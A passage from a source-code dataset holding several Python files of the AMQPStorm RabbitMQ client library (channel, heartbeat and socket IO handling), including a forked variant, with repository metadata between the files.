"""RabbitMQ Queue Operations.
e.g.
::
channel.queue.declare(queue='hello_world')
:rtype: amqpstorm.queue.Queue
"""
return self._queue
@property
def tx(self):
"""RabbitMQ Tx Operations.
e.g.
::
channel.tx.commit()
:rtype: amqpstorm.tx.Tx
"""
return self._tx
def build_inbound_messages(self, break_on_empty=False, to_tuple=False,
auto_decode=True, message_impl=None):
"""Build messages in the inbound queue.
:param bool break_on_empty: Should we break the loop when there are
no more messages in our inbound queue.
This does not guarantee that the queue
is emptied before the loop is broken, as
messages may be consumed faster then
they are being delivered by RabbitMQ,
causing the loop to be broken prematurely.
:param bool to_tuple: Should incoming messages be converted to a
tuple before delivery.
:param bool auto_decode: Auto-decode strings when possible.
:param class message_impl: Optional message class to use, derived from
BaseMessage, for created messages. Defaults
to Message.
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: :py:class:`generator`
"""
self.check_for_errors()
if message_impl:
if not issubclass(message_impl, BaseMessage):
raise AMQPInvalidArgument(
'message_impl must derive from BaseMessage'
)
else:
message_impl = Message
while not self.is_closed:
message = self._build_message(auto_decode=auto_decode,
message_impl=message_impl)
if not message:
self.check_for_errors()
sleep(IDLE_WAIT)
if break_on_empty and not self._inbound:
break
continue
if to_tuple:
yield message.to_tuple()
continue
yield message
def close(self, reply_code=200, reply_text=''):
"""Close Channel.
:param int reply_code: Close reply code (e.g. 200)
:param str reply_text: Close reply text
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
if not compatibility.is_integer(reply_code):
raise AMQPInvalidArgument('reply_code should be an integer')
elif not compatibility.is_string(reply_text):
raise AMQPInvalidArgument('reply_text should be a string')
try:
if self._connection.is_closed or self.is_closed:
self.stop_consuming()
LOGGER.debug('Channel #%d forcefully Closed', self.channel_id)
return
self.set_state(self.CLOSING)
LOGGER.debug('Channel #%d Closing', self.channel_id)
try:
self.stop_consuming()
except AMQPChannelError:
self.remove_consumer_tag()
self.rpc_request(specification.Channel.Close(
reply_code=reply_code,
reply_text=reply_text),
connection_adapter=self._connection
)
finally:
if self._inbound:
del self._inbound[:]
self.set_state(self.CLOSED)
LOGGER.debug('Channel #%d Closed', self.channel_id)
def check_for_errors(self,):
"""Check connection and channel for errors.
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
try:
self._connection.check_for_errors()
except AMQPConnectionError:
self.set_state(self.CLOSED)
raise
self.check_for_exceptions()
if self.is_closed:
raise AMQPChannelError('channel was closed')
def check_for_exceptions(self):
"""Check channel for exceptions.
:raises AMQPChannelError: Raises if the channel encountered an error.
:return:
"""
if self.exceptions:
exception = self.exceptions[0]
if self.is_open:
self.exceptions.pop(0)
raise exception
def confirm_deliveries(self):
"""Set the channel to confirm that each message has been
successfully delivered.
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
self._confirming_deliveries = True
confirm_frame = specification.Confirm.Select()
return self.rpc_request(confirm_frame)
@property
def confirming_deliveries(self):
"""Is the channel set to confirm deliveries.
:return:
"""
return self._confirming_deliveries
def on_frame(self, frame_in):
"""Handle frame sent to this specific channel.
:param pamqp.Frame frame_in: Amqp frame.
:return:
"""
if self.rpc.on_frame(frame_in):
return
if frame_in.name in CONTENT_FRAME:
self._inbound.append(frame_in)
elif frame_in.name == 'Basic.Cancel':
self._basic_cancel(frame_in)
elif frame_in.name == 'Basic.CancelOk':
self.remove_consumer_tag(frame_in.consumer_tag)
elif frame_in.name == 'Basic.ConsumeOk':
self.add_consumer_tag(frame_in['consumer_tag'])
elif frame_in.name == 'Basic.Return':
self._basic_return(frame_in)
elif frame_in.name == 'Channel.Close':
self._close_channel(frame_in)
elif frame_in.name == 'Channel.Flow':
self.write_frame(specification.Channel.FlowOk(frame_in.active))
else:
LOGGER.error(
'[Channel%d] Unhandled Frame: %s -- %s',
self.channel_id, frame_in.name, dict(frame_in)
)
def open(self):
"""Open Channel.
:return:
"""
self._inbound = []
self._exceptions = []
self._confirming_deliveries = False
self.set_state(self.OPENING)
self.rpc_request(specification.Channel.Open())
self.set_state(self.OPEN)
def process_data_events(self, to_tuple=False, auto_decode=True):
"""Consume inbound messages.
:param bool to_tuple: Should incoming messages be converted to a
tuple before delivery.
:param bool auto_decode: Auto-decode strings when possible.
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
if not self._consumer_callbacks:
raise AMQPChannelError('no consumer callback defined')
for message in self.build_inbound_messages(break_on_empty=True,
auto_decode=auto_decode):
consumer_tag = message._method.get('consumer_tag')
if to_tuple:
# noinspection PyCallingNonCallable
self._consumer_callbacks[consumer_tag](*message.to_tuple())
continue
# noinspection PyCallingNonCallable
self._consumer_callbacks[consumer_tag](message)
def rpc_request(self, frame_out, connection_adapter=None):
"""Perform a RPC Request.
:param specification.Frame frame_out: Amqp frame.
:rtype: dict
"""
with self.rpc.lock:
uuid = self.rpc.register_request(frame_out.valid_responses)
self._connection.write_frame(self.channel_id, frame_out)
return self.rpc.get_request(
uuid, connection_adapter=connection_adapter
)
def start_consuming(self, to_tuple=False, auto_decode=True):
"""Start consuming messages.
:param bool to_tuple: Should incoming messages be converted to a
tuple before delivery.
:param bool auto_decode: Auto-decode strings when possible.
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
while not self.is_closed:
self.process_data_events(
to_tuple=to_tuple,
auto_decode=auto_decode
)
if self.consumer_tags:
sleep(IDLE_WAIT)
continue
break
def stop_consuming(self):
"""Stop consuming messages.
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
if not self.consumer_tags:
return
if not self.is_closed:
for tag in self.consumer_tags:
self.basic.cancel(tag)
self.remove_consumer_tag()
def write_frame(self, frame_out):
"""Write a pamqp frame from the current channel.
:param specification.Frame frame_out: A single pamqp frame.
:return:
"""
self.check_for_errors()
self._connection.write_frame(self.channel_id, frame_out)
def write_frames(self, frames_out):
"""Write multiple pamqp frames from the current channel.
:param list frames_out: A list of pamqp frames.
:return:
"""
self.check_for_errors()
self._connection.write_frames(self.channel_id, frames_out)
def _basic_cancel(self, frame_in):
"""Handle a Basic Cancel frame.
:param specification.Basic.Cancel frame_in: Amqp frame.
:return:
"""
LOGGER.warning(
'Received Basic.Cancel on consumer_tag: %s',
try_utf8_decode(frame_in.consumer_tag)
)
self.remove_consumer_tag(frame_in.consumer_tag)
def _basic_return(self, frame_in):
"""Handle a Basic Return Frame and treat it as an error.
:param specification.Basic.Return frame_in: Amqp frame.
:return:
"""
reply_text = try_utf8_decode(frame_in.reply_text)
message = (
"Message not delivered: %s (%s) to queue '%s' from exchange '%s'" %
(
reply_text,
frame_in.reply_code,
frame_in.routing_key,
frame_in.exchange
)
)
exception = AMQPMessageError(message,
reply_code=frame_in.reply_code)
self.exceptions.append(exception)
def _build_message(self, auto_decode, message_impl):
"""Fetch and build a complete Message from the inbound queue.
:param bool auto_decode: Auto-decode strings when possible.
:param class message_impl: Message implementation from BaseMessage
:rtype: Message
"""
with self.lock:
if len(self._inbound) < 2:
return None
headers = self._build_message_headers()
if not headers:
return None
basic_deliver, content_header = headers
body = self._build_message_body(content_header.body_size)
message = message_impl(channel=self,
body=body,
method=dict(basic_deliver),
properties=dict(content_header.properties),
auto_decode=auto_decode)
return message
def _build_message_headers(self):
"""Fetch Message Headers (Deliver & Header Frames).
:rtype: tuple,None
"""
basic_deliver = self._inbound.pop(0)
if not isinstance(basic_deliver, specification.Basic.Deliver):
LOGGER.warning(
'Received an out-of-order frame: %s was '
'expecting a Basic.Deliver frame',
type(basic_deliver)
)
return None
content_header = self._inbound.pop(0)
if not isinstance(content_header, ContentHeader):
LOGGER.warning(
'Received an out-of-order frame: %s was '
'expecting a ContentHeader frame',
type(content_header)
)
return None
return basic_deliver, content_header
def _build_message_body(self, body_size):
"""Build the Message body from the inbound queue.
:rtype: str
"""
body = bytes()
while len(body) < body_size:
if not self._inbound:
self.check_for_errors()
sleep(IDLE_WAIT)
continue
body_piece = self._inbound.pop(0)
if not body_piece.value:
break
body += body_piece.value
return body
def _close_channel(self, frame_in):
"""Close Channel.
:param specification.Channel.Close frame_in: Channel Close frame.
:return:
"""
self.set_state(self.CLOSED)
self.remove_consumer_tag()
if self._inbound:
del self._inbound[:]
self.exceptions.append(AMQPChannelError(
'Channel %d was closed by remote server: %s' %
(
self._channel_id,
try_utf8_decode(frame_in.reply_text)
),
reply_code=frame_in.reply_code
))
| {
"repo_name": "eandersson/amqpstorm",
"path": "amqpstorm/channel.py",
"copies": "1",
"size": "17179",
"license": "mit",
"hash": 6366719290298589000,
"line_mean": 32.2926356589,
"line_max": 79,
"alpha_frac": 0.5610338204,
"autogenerated": false,
"ratio": 4.5231700895208,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.55842039099208,
"avg_score": null,
"num_lines": null
} |
"""AMQPStorm Connection.Channel."""
import logging
import multiprocessing
from time import sleep
from time import time
from pamqp import specification
from pamqp.header import ContentHeader
from amqpstorm import compatibility
from amqpstorm.base import BaseChannel
from amqpstorm.base import IDLE_WAIT
from amqpstorm.basic import Basic
from amqpstorm.compatibility import try_utf8_decode
from amqpstorm.exception import AMQPChannelError
from amqpstorm.exception import AMQPConnectionError
from amqpstorm.exception import AMQPInvalidArgument
from amqpstorm.exception import AMQPMessageError
from amqpstorm.exchange import Exchange
from amqpstorm.message import Message
from amqpstorm.queue import Queue
from amqpstorm.rpc import Rpc
from amqpstorm.tx import Tx
LOGGER = logging.getLogger(__name__)
CONTENT_FRAME = ['Basic.Deliver', 'ContentHeader', 'ContentBody']
class Channel(BaseChannel):
"""RabbitMQ Channel."""
__slots__ = [
'_confirming_deliveries', 'consumer_callback', 'rpc', '_basic',
'_connection', '_exchange', '_inbound', '_queue', '_tx', '_die',
'message_build_timeout'
]
def __init__(self, channel_id, connection, rpc_timeout):
super(Channel, self).__init__(channel_id)
self.consumer_callback = None
self.rpc = Rpc(self, timeout=rpc_timeout)
self.message_build_timeout = rpc_timeout
self._confirming_deliveries = False
self._connection = connection
self._inbound = []
self._basic = Basic(self)
self._exchange = Exchange(self)
self._tx = Tx(self)
self._queue = Queue(self)
self._die = multiprocessing.Value("b", 0)
def __enter__(self):
return self
def __exit__(self, exception_type, exception_value, _):
if exception_type:
LOGGER.warning(
'Closing channel due to an unhandled exception: %s',
exception_value
)
if not self.is_open:
return
self.close()
def __int__(self):
return self._channel_id
@property
def basic(self):
"""RabbitMQ Basic Operations.
:rtype: amqpstorm.basic.Basic
"""
return self._basic
@property
def exchange(self):
"""RabbitMQ Exchange Operations.
:rtype: amqpstorm.exchange.Exchange
"""
return self._exchange
@property
def tx(self):
"""RabbitMQ Tx Operations.
:rtype: amqpstorm.tx.Tx
"""
return self._tx
@property
def queue(self):
"""RabbitMQ Queue Operations.
:rtype: amqpstorm.queue.Queue
"""
return self._queue
def build_inbound_messages(self, break_on_empty=False, to_tuple=False,
auto_decode=False):
"""Build messages in the inbound queue.
:param bool break_on_empty: Should we break the loop when there are
no more messages to consume.
:param bool to_tuple: Should incoming messages be converted to a
tuple before delivery.
:param bool auto_decode: Auto-decode strings when possible.
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: :py:class:`generator`
"""
last_message_built_at = time()
self.check_for_errors()
while not self.is_closed:
if self._die.value != 0:
return
if self.is_closed:
return
message = self._build_message(auto_decode=auto_decode)
if not message:
if time() - last_message_built_at > self.message_build_timeout:
raise AMQPConnectionError("Timeout while attempting to build message!")
if break_on_empty:
break
self.check_for_errors()
sleep(IDLE_WAIT)
continue
last_message_built_at = time()
if to_tuple:
yield message.to_tuple()
continue
yield message
def kill(self):
self._die.value = 1
self.set_state(self.CLOSED)
def close(self, reply_code=200, reply_text=''):
"""Close Channel.
:param int reply_code: Close reply code (e.g. 200)
:param str reply_text: Close reply text
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
if not compatibility.is_integer(reply_code):
raise AMQPInvalidArgument('reply_code should be an integer')
elif not compatibility.is_string(reply_text):
raise AMQPInvalidArgument('reply_text should be a string')
try:
if self._connection.is_closed or self.is_closed:
self.stop_consuming()
LOGGER.debug('Channel #%d forcefully Closed', self.channel_id)
return
self.set_state(self.CLOSING)
LOGGER.debug('Channel #%d Closing', self.channel_id)
try:
self.stop_consuming()
except AMQPChannelError:
self.remove_consumer_tag()
self.rpc_request(specification.Channel.Close(
reply_code=reply_code,
reply_text=reply_text),
adapter=self._connection
)
finally:
if self._inbound:
del self._inbound[:]
self.set_state(self.CLOSED)
LOGGER.debug('Channel #%d Closed', self.channel_id)
def check_for_errors(self):
"""Check connection and channel for errors.
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
try:
self._connection.check_for_errors()
except AMQPConnectionError:
self.set_state(self.CLOSED)
raise
if self.exceptions:
exception = self.exceptions[0]
if self.is_open:
self.exceptions.pop(0)
raise exception
if self.is_closed:
raise AMQPChannelError('channel was closed')
def confirm_deliveries(self):
"""Set the channel to confirm that each message has been
successfully delivered.
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
self._confirming_deliveries = True
confirm_frame = specification.Confirm.Select()
return self.rpc_request(confirm_frame)
@property
def confirming_deliveries(self):
"""Is the channel set to confirm deliveries.
:return:
"""
return self._confirming_deliveries
def on_frame(self, frame_in):
"""Handle frame sent to this specific channel.
:param pamqp.Frame frame_in: Amqp frame.
:return:
"""
if self.rpc.on_frame(frame_in):
return
if frame_in.name in CONTENT_FRAME:
self._inbound.append(frame_in)
elif frame_in.name == 'Basic.Cancel':
self._basic_cancel(frame_in)
elif frame_in.name == 'Basic.CancelOk':
self.remove_consumer_tag(frame_in.consumer_tag)
elif frame_in.name == 'Basic.ConsumeOk':
self.add_consumer_tag(frame_in['consumer_tag'])
elif frame_in.name == 'Basic.Return':
self._basic_return(frame_in)
elif frame_in.name == 'Channel.Close':
self._close_channel(frame_in)
elif frame_in.name == 'Channel.Flow':
self.write_frame(specification.Channel.FlowOk(frame_in.active))
else:
LOGGER.error(
'[Channel%d] Unhandled Frame: %s -- %s',
self.channel_id, frame_in.name, dict(frame_in)
)
def open(self):
"""Open Channel.
:return:
"""
self._inbound = []
self._exceptions = []
self.set_state(self.OPENING)
self.rpc_request(specification.Channel.Open())
self.set_state(self.OPEN)
def process_data_events(self, to_tuple=False, auto_decode=False):
"""Consume inbound messages.
:param bool to_tuple: Should incoming messages be converted to a
tuple before delivery.
:param bool auto_decode: Auto-decode strings when possible.
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
if not self.consumer_callback:
raise AMQPChannelError('no consumer_callback defined')
for message in self.build_inbound_messages(break_on_empty=True,
to_tuple=to_tuple,
auto_decode=auto_decode):
if self._die.value != 0:
return
if to_tuple:
# noinspection PyCallingNonCallable
self.consumer_callback(*message)
continue
# noinspection PyCallingNonCallable
self.consumer_callback(message)
sleep(IDLE_WAIT)
def rpc_request(self, frame_out, adapter=None):
"""Perform a RPC Request.
:param specification.Frame frame_out: Amqp frame.
:rtype: dict
"""
with self.rpc.lock:
uuid = self.rpc.register_request(frame_out.valid_responses)
self._connection.write_frame(self.channel_id, frame_out)
return self.rpc.get_request(uuid, adapter=adapter)
def start_consuming(self, to_tuple=False, auto_decode=False):
"""Start consuming messages.
:param bool to_tuple: Should incoming messages be converted to a
tuple before delivery.
:param bool auto_decode: Auto-decode strings when possible.
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
while not self.is_closed:
self.process_data_events(to_tuple=to_tuple,
auto_decode=auto_decode)
if not self.consumer_tags:
break
if self._die.value != 0:
break
def stop_consuming(self):
"""Stop consuming messages.
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
if not self.consumer_tags:
return
if not self.is_closed:
for tag in self.consumer_tags:
self.basic.cancel(tag)
self.remove_consumer_tag()
def write_frame(self, frame_out):
"""Write a pamqp frame from the current channel.
:param specification.Frame frame_out: A single pamqp frame.
:return:
"""
self.check_for_errors()
self._connection.write_frame(self.channel_id, frame_out)
def write_frames(self, frames_out):
"""Write multiple pamqp frames from the current channel.
:param list frames_out: A list of pamqp frames.
:return:
"""
self.check_for_errors()
self._connection.write_frames(self.channel_id, frames_out)
def _basic_cancel(self, frame_in):
"""Handle a Basic Cancel frame.
:param specification.Basic.Cancel frame_in: Amqp frame.
:return:
"""
LOGGER.warning(
'Received Basic.Cancel on consumer_tag: %s',
try_utf8_decode(frame_in.consumer_tag)
)
self.remove_consumer_tag(frame_in.consumer_tag)
def _basic_return(self, frame_in):
"""Handle a Basic Return Frame and treat it as an error.
:param specification.Basic.Return frame_in: Amqp frame.
:return:
"""
reply_text = try_utf8_decode(frame_in.reply_text)
message = (
"Message not delivered: %s (%s) to queue '%s' from exchange '%s'" %
(
reply_text,
frame_in.reply_code,
frame_in.routing_key,
frame_in.exchange
)
)
exception = AMQPMessageError(message,
reply_code=frame_in.reply_code)
self.exceptions.append(exception)
def _build_message(self, auto_decode):
"""Fetch and build a complete Message from the inbound queue.
:param bool auto_decode: Auto-decode strings when possible.
:rtype: Message
"""
with self.lock:
if len(self._inbound) < 2:
return None
headers = self._build_message_headers()
if not headers:
return None
basic_deliver, content_header = headers
body = self._build_message_body(content_header.body_size)
message = Message(channel=self,
body=body,
method=dict(basic_deliver),
properties=dict(content_header.properties),
auto_decode=auto_decode)
return message
def _build_message_headers(self):
"""Fetch Message Headers (Deliver & Header Frames).
:rtype: tuple|None
"""
basic_deliver = self._inbound.pop(0)
if not isinstance(basic_deliver, specification.Basic.Deliver):
LOGGER.warning(
'Received an out-of-order frame: %s was '
'expecting a Basic.Deliver frame',
type(basic_deliver)
)
return None
content_header = self._inbound.pop(0)
if not isinstance(content_header, ContentHeader):
LOGGER.warning(
'Received an out-of-order frame: %s was '
'expecting a ContentHeader frame',
type(content_header)
)
return None
return basic_deliver, content_header
def _build_message_body(self, body_size):
"""Build the Message body from the inbound queue.
:rtype: str
"""
body = bytes()
while len(body) < body_size:
if not self._inbound:
self.check_for_errors()
sleep(IDLE_WAIT)
continue
body_piece = self._inbound.pop(0)
if not body_piece.value:
break
body += body_piece.value
return body
def _close_channel(self, frame_in):
"""Close Channel.
:param specification.Channel.Close frame_in: Channel Close frame.
:return:
"""
if frame_in.reply_code != 200:
reply_text = try_utf8_decode(frame_in.reply_text)
message = (
'Channel %d was closed by remote server: %s' %
(
self._channel_id,
reply_text
)
)
exception = AMQPChannelError(message,
reply_code=frame_in.reply_code)
self.exceptions.append(exception)
self.set_state(self.CLOSED)
if self._connection.is_open:
try:
self._connection.write_frame(
self.channel_id, specification.Channel.CloseOk()
)
except AMQPConnectionError:
pass
self.close()
| {
"repo_name": "fake-name/ReadableWebProxy",
"path": "amqpstorm/channel.py",
"copies": "1",
"size": "16286",
"license": "bsd-3-clause",
"hash": 5366229071167194000,
"line_mean": 32.1690427699,
"line_max": 91,
"alpha_frac": 0.5612796267,
"autogenerated": false,
"ratio": 4.454595185995624,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5515874812695624,
"avg_score": null,
"num_lines": null
} |
"""AMQPStorm Connection.Heartbeat."""
import logging
import threading
from amqpstorm.exception import AMQPConnectionError
LOGGER = logging.getLogger(__name__)
class Heartbeat(object):
"""Internal Heartbeat handler."""
def __init__(self, interval, send_heartbeat_impl, timer=threading.Timer):
self.send_heartbeat_impl = send_heartbeat_impl
self.timer_impl = timer
self._lock = threading.Lock()
self._running = threading.Event()
self._timer = None
self._exceptions = None
self._reads_since_check = 0
self._writes_since_check = 0
self._interval = interval
self._threshold = 0
def register_read(self):
"""Register that a frame has been received.
:return:
"""
self._reads_since_check += 1
def register_write(self):
"""Register that a frame has been sent.
:return:
"""
self._writes_since_check += 1
def start(self, exceptions):
"""Start the Heartbeat Checker.
:param list exceptions:
:return:
"""
if not self._interval:
return False
self._running.set()
with self._lock:
self._threshold = 0
self._reads_since_check = 0
self._writes_since_check = 0
self._exceptions = exceptions
LOGGER.debug('Heartbeat Checker Started')
return self._start_new_timer()
def stop(self):
"""Stop the Heartbeat Checker.
:return:
"""
self._running.clear()
with self._lock:
if self._timer:
self._timer.cancel()
self._timer = None
def _check_for_life_signs(self):
"""Check Connection for life signs.
First check if any data has been sent, if not send a heartbeat
to the remote server.
If we have not received any data what so ever within two
intervals, we need to raise an exception so that we can
close the connection.
:rtype: bool
"""
if not self._running.is_set():
return False
if self._writes_since_check == 0:
self.send_heartbeat_impl()
self._lock.acquire()
try:
if self._reads_since_check == 0:
self._threshold += 1
if self._threshold >= 2:
self._running.clear()
self._raise_or_append_exception()
return False
else:
self._threshold = 0
finally:
self._reads_since_check = 0
self._writes_since_check = 0
self._lock.release()
return self._start_new_timer()
def _raise_or_append_exception(self):
"""The connection is presumably dead and we need to raise or
append an exception.
If we have a list for exceptions, append the exception and let
the connection handle it, if not raise the exception here.
:return:
"""
message = (
'Connection dead, no heartbeat or data received in >= '
'%ds' % (
self._interval * 2
)
)
why = AMQPConnectionError(message)
if self._exceptions is None:
raise why
self._exceptions.append(why)
def _start_new_timer(self):
"""Create a timer that will be used to periodically check the
connection for heartbeats.
:return:
"""
if not self._running.is_set():
return False
self._timer = self.timer_impl(
interval=self._interval,
function=self._check_for_life_signs
)
self._timer.daemon = True
self._timer.start()
return True
| {
"repo_name": "eandersson/amqpstorm",
"path": "amqpstorm/heartbeat.py",
"copies": "2",
"size": "3825",
"license": "mit",
"hash": 6891961886189270000,
"line_mean": 27.3333333333,
"line_max": 77,
"alpha_frac": 0.5432679739,
"autogenerated": false,
"ratio": 4.548156956004756,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0,
"num_lines": 135
} |
"""AMQPStorm Connection.IO."""
import logging
import select
import socket
import threading
from errno import EAGAIN
from errno import EINTR
from errno import EWOULDBLOCK
from time import sleep
from amqpstorm import compatibility
from amqpstorm.base import FRAME_MAX
from amqpstorm.base import IDLE_WAIT
from amqpstorm.compatibility import ssl
from amqpstorm.exception import AMQPConnectionError
EMPTY_BUFFER = bytes()
LOGGER = logging.getLogger(__name__)
class Poller(object):
"""Socket Read Poller."""
def __init__(self, fileno, exceptions, timeout=5):
self.select = select
self._fileno = fileno
self._exceptions = exceptions
self.timeout = timeout
@property
def fileno(self):
"""Socket Fileno.
:return:
"""
return self._fileno
@property
def is_ready(self):
"""Is Socket Ready.
:rtype: tuple
"""
try:
ready, _, _ = self.select.select([self.fileno], [], [],
self.timeout)
return bool(ready)
except self.select.error as why:
if why.args[0] != EINTR:
self._exceptions.append(AMQPConnectionError(why))
return False
class IO(object):
"""Internal Input/Output handler."""
def __init__(self, parameters, exceptions=None, on_read=None):
self._exceptions = exceptions
self._lock = threading.Lock()
self._inbound_thread = None
self._on_read = on_read
self._running = threading.Event()
self._parameters = parameters
self.data_in = EMPTY_BUFFER
self.poller = None
self.socket = None
self.use_ssl = self._parameters['ssl']
def close(self):
"""Close Socket.
:return:
"""
self._lock.acquire()
try:
self._running.clear()
if self.socket:
self.socket.close()
if self._inbound_thread:
self._inbound_thread.join(timeout=self._parameters['timeout'])
self._inbound_thread = None
self.poller = None
self.socket = None
finally:
self._lock.release()
def kill(self):
if self._inbound_thread.is_alive():
self._running.clear()
while self._inbound_thread.is_alive():
self._inbound_thread.join(1)
def open(self):
"""Open Socket and establish a connection.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
self._lock.acquire()
try:
self.data_in = EMPTY_BUFFER
self._running.set()
sock_addresses = self._get_socket_addresses()
self.socket = self._find_address_and_connect(sock_addresses)
self.poller = Poller(self.socket.fileno(), self._exceptions,
timeout=self._parameters['timeout'])
self._inbound_thread = self._create_inbound_thread()
finally:
self._lock.release()
def write_to_socket(self, frame_data):
"""Write data to the socket.
:param str frame_data:
:return:
"""
self._lock.acquire()
try:
total_bytes_written = 0
bytes_to_send = len(frame_data)
while total_bytes_written < bytes_to_send:
try:
if not self.socket:
raise socket.error('connection/socket error')
bytes_written = \
self.socket.send(frame_data[total_bytes_written:])
if bytes_written == 0:
raise socket.error('connection/socket error')
total_bytes_written += bytes_written
except socket.timeout:
pass
except socket.error as why:
if why.args[0] in (EWOULDBLOCK, EAGAIN):
continue
self._exceptions.append(AMQPConnectionError(why))
return
finally:
self._lock.release()
def _get_socket_addresses(self):
"""Get Socket address information.
:rtype: list
"""
family = socket.AF_UNSPEC
if not socket.has_ipv6:
family = socket.AF_INET
try:
addresses = socket.getaddrinfo(self._parameters['hostname'],
self._parameters['port'], family)
except socket.gaierror as why:
raise AMQPConnectionError(why)
return addresses
def _find_address_and_connect(self, addresses):
"""Find and connect to the appropriate address.
:param addresses:
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: socket.socket
"""
for address in addresses:
sock = self._create_socket(socket_family=address[0])
try:
sock.connect(address[4])
except (IOError, OSError):
continue
return sock
raise AMQPConnectionError(
'Could not connect to %s:%d' % (
self._parameters['hostname'],
self._parameters['port']
)
)
def _create_socket(self, socket_family):
"""Create Socket.
:param int socket_family:
:rtype: socket.socket
"""
sock = socket.socket(socket_family, socket.SOCK_STREAM, 0)
sock.settimeout(self._parameters['timeout'] or None)
if self.use_ssl:
if not compatibility.SSL_SUPPORTED:
raise AMQPConnectionError(
'Python not compiled with support for TLSv1 or higher'
)
sock = self._ssl_wrap_socket(sock)
return sock
def _ssl_wrap_socket(self, sock):
"""Wrap SSLSocket around the Socket.
:param socket.socket sock:
:rtype: SSLSocket
"""
if 'ssl_version' not in self._parameters['ssl_options']:
self._parameters['ssl_options']['ssl_version'] = \
compatibility.DEFAULT_SSL_VERSION
return ssl.wrap_socket(sock, do_handshake_on_connect=True,
**self._parameters['ssl_options'])
def _create_inbound_thread(self):
"""Internal Thread that handles all incoming traffic.
:rtype: threading.Thread
"""
inbound_thread = threading.Thread(target=self._process_incoming_data,
name=__name__)
inbound_thread.daemon = True
inbound_thread.start()
return inbound_thread
def _process_incoming_data(self):
"""Retrieve and process any incoming data.
:return:
"""
while self._running.is_set():
if self.poller.is_ready:
self.data_in += self._receive()
self.data_in = self._on_read(self.data_in)
sleep(IDLE_WAIT)
def _receive(self):
"""Receive any incoming socket data.
If an error is thrown, handle it and return an empty string.
:return: data_in
:rtype: bytes
"""
data_in = EMPTY_BUFFER
try:
if not self.socket:
raise socket.error('connection/socket error')
data_in = self._read_from_socket()
except socket.timeout:
pass
except (IOError, OSError) as why:
if why.args[0] not in (EWOULDBLOCK, EAGAIN):
self._exceptions.append(AMQPConnectionError(why))
self._running.clear()
return data_in
def _read_from_socket(self):
"""Read data from the socket.
:rtype: bytes
"""
if self.use_ssl:
data_in = self.socket.read(FRAME_MAX)
else:
data_in = self.socket.recv(FRAME_MAX)
return data_in
| {
"repo_name": "fake-name/ReadableWebProxy",
"path": "amqpstorm/io.py",
"copies": "1",
"size": "8123",
"license": "bsd-3-clause",
"hash": -3202010493154554000,
"line_mean": 30.0038167939,
"line_max": 78,
"alpha_frac": 0.5378554721,
"autogenerated": false,
"ratio": 4.566048341765036,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5603903813865035,
"avg_score": null,
"num_lines": null
} |
"""AMQPStorm Connection.IO."""
import logging
import select
import socket
import threading
from errno import EAGAIN
from errno import EINTR
from errno import EWOULDBLOCK
from amqpstorm import compatibility
from amqpstorm.base import MAX_FRAME_SIZE
from amqpstorm.compatibility import ssl
from amqpstorm.exception import AMQPConnectionError
EMPTY_BUFFER = bytes()
LOGGER = logging.getLogger(__name__)
POLL_TIMEOUT = 1.0
class Poller(object):
"""Socket Read Poller."""
def __init__(self, fileno, exceptions, timeout=5):
self.select = select
self._fileno = fileno
self._exceptions = exceptions
self.timeout = timeout
@property
def fileno(self):
"""Socket Fileno.
:return:
"""
return self._fileno
@property
def is_ready(self):
"""Is Socket Ready.
:rtype: tuple
"""
try:
ready, _, _ = self.select.select([self.fileno], [], [],
POLL_TIMEOUT)
return bool(ready)
except self.select.error as why:
if why.args[0] != EINTR:
self._exceptions.append(AMQPConnectionError(why))
return False
class IO(object):
"""Internal Input/Output handler."""
def __init__(self, parameters, exceptions=None, on_read_impl=None):
self._exceptions = exceptions
self._wr_lock = threading.Lock()
self._rd_lock = threading.Lock()
self._inbound_thread = None
self._on_read_impl = on_read_impl
self._running = threading.Event()
self._parameters = parameters
self.data_in = EMPTY_BUFFER
self.poller = None
self.socket = None
self.use_ssl = self._parameters['ssl']
def close(self):
"""Close Socket.
:return:
"""
self._wr_lock.acquire()
self._rd_lock.acquire()
try:
self._running.clear()
self._close_socket()
self.socket = None
self.poller = None
finally:
self._wr_lock.release()
self._rd_lock.release()
if self._inbound_thread:
self._inbound_thread.join(timeout=self._parameters['timeout'])
self._inbound_thread = None
def open(self):
"""Open Socket and establish a connection.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
self._wr_lock.acquire()
self._rd_lock.acquire()
try:
